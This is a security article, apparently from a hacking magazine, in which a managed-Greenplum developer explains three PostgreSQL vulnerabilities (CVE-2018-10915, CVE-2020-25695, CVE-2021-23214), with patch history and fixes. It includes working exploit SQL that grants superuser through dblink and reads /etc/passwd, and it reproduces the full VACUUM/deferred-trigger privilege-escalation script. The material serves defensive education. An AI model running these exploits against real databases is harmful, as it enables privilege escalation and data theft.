warning
This article is intended for security specialists operating under a contract; all information provided here is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
Recently, I was involved in the development of Managed Greenplum for Yandex.Cloud. Greenplum is an analytical database based on PostgreSQL, to be specific, on PostgreSQL 9.4 that reached the end of life since pre-COVID times.
What does the term “managed” mean in Managed services Greenplum? Our harnesses – Control Plane – automatically connect to the database, make backups, monitor if everything is OK, install updates, etc. Historically, all databases have a superuser. The superuser can do whatever the database processes possibly can do, including attacks on Control Plane. Therefore, superuser privileges are usually not available in managed databases; if they are, this poses a serious risk to the data. Some crazy neighbor can attack Control Plane and then your database. Therefore, I consider every published vulnerability in Postgres a strong reason to patch something in Greenplum.
Postgres has a ton of forks. Potentially all of them are vulnerable to attack vectors listed in this article. Sometimes as a result, malefactors use such databases to mine cryptocurrencies or inject malicious code into Scarlett Johansson images. In addition, many clouds don’t force users to upgrade after the end of life of the major version. Some of them even run bug bounty programs. If you have plenty of free time, this is a good chance to convert your knowledge into money.
One might think that the presence of epic security holes indicates that the program is bad and should be avoided by all means. This is not true. Open publication of all historical vulnerabilities is what prevents zero day from being swept under the rug. A clear and transparent process for the maintenance and update of major versions is overseen by the PostgreSQL Security Committee. It does not depend on a single commercial company and is transparently formed from many community members known for their meticulous review of the code. If you try to poison the Postgres code (like it happened with the Linux kernel), it would take years, if not decades, to make a single viable attempt.
So, let’s finally get to the point. How can you entertain yourself when you encounter an unpatched Postgres?
CVE-2018-10915. Tricky connection strings
CVE-2018-10915 affects versions 10.4, 9.6.9, and older. The vulnerability is called “Certain host connection parameters defeat client-side security defenses”, and it might seem that the problem is on the client (i.e. not server) side. However, CVSS score 8.5 indicates that it’s not that simple.
When a server opens connections at the request of a client, this is always a potential threat. If your web server follows the URL received from a client, some of your clients will inevitably slip a malicious URL. This URL might be, for instance, ordering a pizza to your data center. And the server can make an unintended HTTP request.
A story from the community life
Once we addressed the community with a proposal to enable unprivileged users to create logical replication subscriptions. The community responded that the creation of outgoing connections is a great way to expose yourself to attacks. And indeed, after some thought, we found a way to hack our own set of patches.
PostgreSQL has special extensions used to access data on other servers: dblink and postgres_fdw. They allow to use tables on other servers (not necessarily PostgreSQL) in SQL queries.
Postgres_fdw represents a slightly more handy way to do exactly the same thing. The user doesn’t issue queries as text literals, but sees the remote table locally as a regular one.
If one of these two extensions has already been created in the database, the user can go somewhere for data from the PostgreSQL server address. This fact alone had once created a cool vulnerability: CVE-2007-6601. You didn’t even have to go somewhere far away: you could just connect from the server to itself and pretend to be a local administrative connection.
Such an Ouroboros became possible because the host based authentication (pg_hba.) often contains some cool strings like the ones shown below. Literally, they mean “trust local connections.”
# "local" is for Unix domain socket connections onlylocal all all trust# IPv4 local connections:host all all 127.0.0.1/32 trust# IPv6 local connections:host all all ::1/128 trustThese strings can show up there from the docker image or appear there after the initialization with initdb. How such an opportunity can be exploited?
postgres=# SELECT dblink_exec('host=localhost dbname=postgres','ALTER USER x4m WITH SUPERUSER;'); dblink_exec ------------- ALTER ROLE(1 row)postgres=# \c postgresYou are now connected to database "postgres" as user "x4m".postgres=# CREATE TABLE pwn(t TEXT);CREATE TABLEpostgres=# COPY pwn FROM '/etc/passwd';COPY 27postgres=# SELECT * FROM pwn;
info
Two important points:
1. Of course, this triggers monitoring: to protect the system against such attacks, you must continuously check the allowlist of superusers in it. Technically, it’s not difficult and has been done in good systems for ages. But troubles can begin even before security specialists arrive to the host.
2. A good PostgreSQL hacking instruction can be found on pentest-wiki. Some of the examples discussed in this article were taken from it.
Of course, this vulnerability was patched back in 2007. It’s when the Rickrolling meme was introduced. The patch logic was pretty simple: now dblink and postgres_fdw refuse to connect anywhere without the password.
static voiddblink_security_check(PGconn *conn, remoteConn *rconn){ if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } }}Now everything is safe, and you don’t use password-free connections from your server address. The developers have, in fact, protected users from themselves. But progress (like Postgres) doesn’t stand still, and new features bring new bugs!
In the 2010s, the Postgres community was actively developing features required to enter the Enterprise systems market. One of these features is the high availability of the database. The point is that any hardware fails sooner or later: disks sometimes crumble like sand, memory is affected by cosmic rays with single event upsets, processors overheat and melt like an ice-cream, network switches get faulty firmware, the cable to the data center is gnawed by an evil hamster, etc. The standard approach used to solve such problems is system redundancy. An airliner has at least two engines, a skydiver has two parachutes, Rick has got Morty, and so on.
In a similar way, PostgreSQL can replicate a complete binary copy of the data to other hardware (where the probability of a simultaneous failure is minimized). In this case, the client has two or more hostnames and doesn’t know who is who until a connection is opened.
The client can specify in the connection string whether it requires a primary node for writing, or any operating standby node where only read-only queries can be executed will suffice. The connection string looks like the one shown below.
postgresql://host1:port2,host2:port2/?target_session_attrs=read-write
This feature was introduced in PostgreSQL 10; see more information about it here. But you can perform the same trick in PostgreSQL 9.6 as well if a single DNS name returns several IP addresses.
The CVE-2018-10915 vulnerability works as follows: after using a password for authentication once, dblink and postgres_fdw can access other hosts without a password. All you have to do is to deploy your replica reachable from the server over the network. The attacked server will authenticate in this replica, find out that it doesn’t comply with required target_session_atts, and then return to localhost.
postgres=# SELECT dblink_exec('host=my.standby.xyz,localhost dbname=postgres password=imahacker','ALTER USER x4m WITH SUPERUSER;'); dblink_exec ------------- ALTER ROLE(1 row)In this particular case, the imahacker password matches the my. replica, and localhost no longer asks for a password.
Information on how to fix this bug and its detailed description can be found in the d1c6a14 commit by Tom Lane. CVE-2018-10915 was discovered by Andrew Krasichkov aka buglloc during a security audit of Yandex Cloud Managed services for PostgreSQL.
CVE-2020-25695. Three thimblerigs
The CVE-2020-25695 vulnerability affects versions 13.0, 12.4, 11.10, 10.15, and some other major releases that have already reached the EOL. Its overall score is 8.8. The vulnerability exploits a combination of many nontrivial features. Its exploitation is simple even for script kiddies: you just send a SQL query, and that’s it – no fussing with replicas, no coding, no wizardry. If it’s of interest to you, at the end of this section, you can download the full sploit from the article written by the researcher who has discovered this vulnerability. As said above, CVE-2020-25695 originates from a number of features.
The Achilles’ heel of PostgreSQL is the vacuumization process (aka VACUUM). It removes versions of the data that don’t have to be seen by new transactions. Sometimes, it is launched by the DBA or cron on behalf of the DBA. Sometimes, it runs itself: when many tuples have been deleted or updated. In this case, it’s called autovacuum. And it runs as superuser.
No doubt, it would be great to add some code to VACUUM so that it’s executed on behalf of superuser, right? And, of course, the Postgres developers have thought of this. When a table is vacuumized, the execution context is switched to the owner of this table. If you delete rows from your own table, then your functions will be executed with your privileges when it’s vacuumized. This is how it works:
/* Switch to the table owner's userid... */SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION);// Vacuumizing/* Restore userid and security context */SetUserIdAndSecContext(save_userid, save_sec_context);CommitTransactionCommand();It turns out that you have to postpone hacking during vacuumization until the end of the transaction. Because prior to the commit, the context you operate in isn’t privileged enough. The solution to this problem is quite simple: you create a DEFERRED trigger that will be executed on commit. Below is a piece of code from the advisory sent with the bug report:
/* create a CONSTRAINT TRIGGER, which is deferred deferred causes it to trigger on commit, by which time the user has been switched back to the invoking user, rather than the owner*/CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();How to ensure that this trigger is called during the vacuumization? Generally speaking, you need VACUUM to add data – while it deletes them… The solution is as follows: make VACUUM of one table insert data into another table!
What functions are called when you run VACUUM? Of course, index on expression functions. Let’s examine the full exploit code:
CREATE TABLE t0 (s varchar);CREATE TABLE t1 (s varchar);CREATE TABLE exp (a int, b int);CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS'SELECT $1'; -- When an expression index is created, the function must be IMMUTABLE (i.e. USELESS)CREATE INDEX indy ON exp (sfunc(a));CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; -- Replace the function with a mutable oneCREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS'ALTER USER foo SUPERUSER; SELECT $1'; -- Function called from the DEFERRED triggerCREATE OR REPLACE FUNCTION strig() RETURNS triggerAS $e$ BEGINPERFORM fooz.public.snfunc(1000); RETURN NEW;END $e$LANGUAGE plpgsql; -- Trigger functionCREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();ANALYZE exp;INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);DELETE FROM exp;INSERT INTO exp VALUES (1,1);ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);Here the vacuum exp calls sfunc(, which inserts the data into t0. Then the trigger on t0 calls string( at the end of the transaction with the superuser context, which in turn calls snfunc(. And it grants the superuser privileges to the attacker. To exploit this vulnerability, you have to be able to create tables and indexes.
CVE-2020-25695 was discovered by Etienne Stalmans aka Staaldraad; it’s described in detail in his blog. Denis Smirnov has adapted this vulnerability for GreenplumDB.
CVE-2021-23214. TLS is reliable, TLS is secure
The CVE-2021-23214 vulnerability affects versions 14.0, 13.4, 12.8, 11.13, and 10.18. Its overall score is 8.1. In addition, all connection poolers are susceptible to it: PgBouncer, PgPool II, and Odyssey.
TLDR: if the client authentication uses a TLS certificate, and there is a MITM, you can add the execution of your request at the beginning of the connection.
The Postgres communication protocol is based on messages. Each message starts with 4 bytes containing information on its size. Then comes one byte that specifies the packet type. The remaining space may be occupied by packet-specific data.
A ‘normal’ client first sends to the server a startup message with a proposal to switch to TLS encryption; then it receives the server’s consent, passes the socket to the OpenSSL library, and receives from it a secure communication channel for further authentication.
In PostgreSQL, you can authenticate in different ways. For instance, you can do this using a password in plain text. You only live once, why bother! You can also use MD5 authentication: the server sends salt, the client rehashes the password, itself, and the salt, and then sends the data to the server. But after hacking the database and reading pg_authid, you will have enough data to log into the database as any other user with MD5 authentication.
You can also use the SCRAM-SHA-256 scheme; in this case, after hacking the database, you won’t be able to use stolen secrets to log into the same database again.
Alternatively, you can use TLS certificate authentication: after establishing a TLS connection, the Common Name of the certificate will be compared to the requested database user name. If they match, then the client has a certificate issued by a trusted authority. This approach has many advantages: for instance, the rotation of secrets is no longer a problem of the DBA. It’s the client’s headache to get a valid certificate if the old one has expired.
If the entire database is stolen, no authentication data can be extracted from it at all. The certificate verification code is written by real crypto gurus, and all you have to do is use it. But there is a nuance.
PostgreSQL packets are pretty small. For instance, the ReadyForQuery packet is just 6 bytes. To read from the socket, a system call is required, which takes a big pile of CPU nanoseconds. Therefore, Postgres and all poolers read big chunks of data at once for future use. Some call this buffering, others call this readahead. Bytes from the readahead buffer are used to parse packets. The readahead buffer is filled directly from the network socket or from the TLS stream on an encrypted connection. But what happens when an unencrypted connection is changed to encrypted? In fact, nothing!..
In OpenSSL, the socket fd is passed, not the readahead buffer. Those bytes that came unencrypted remain as if they were already read (i.e. as if received from an encrypted connection). A ‘man in the middle’ can exploit this by adding a SimpleQuery message after the startup message: "CREATE . After the successful OpenSSL authentication, the server will continue reading messages from the readahead buffer and will execute the SimpleQuery as if it came from the user.
CVE-2021-23214 also has a symmetric client-based CVE-2021-23222 vulnerability: a MITM can insert its response to the first client’s requests instead of what the server says. But exploitation of this vulnerability requires a good knowledge of the client app code. For instance, something like this.
In Postgres, fixes for the client and the server vulnerabilities not only flush the buffer after the startup packet, but also record attempts to cheat with TLS to the log. In current versions, an exploitation attempt won’t go unnoticed and will likely alert security monitors. My fix for these vulnerabilities in Odyssey can be found here. By the way, in Odyssey they are known under different numbers: CVE-2021-43766 and CVE-2021-43767.
CVE-2021-23214 and similar vulnerabilities in PG were discovered by Jacob Champion; after the release of fixes, he compiled an interesting wishlist with the purpose to increase the project security in the future.
Conclusions
Remember: under no circumstance, the above information cannot be used for malicious purposes. Install updates promptly. Use exploits only to learn, research, and ethically report security problems. Create backup copies on a regular basis. You can use for this purpose the WAL-G archival restoration tool – I’m involved in its development as a contributor. Good luck!
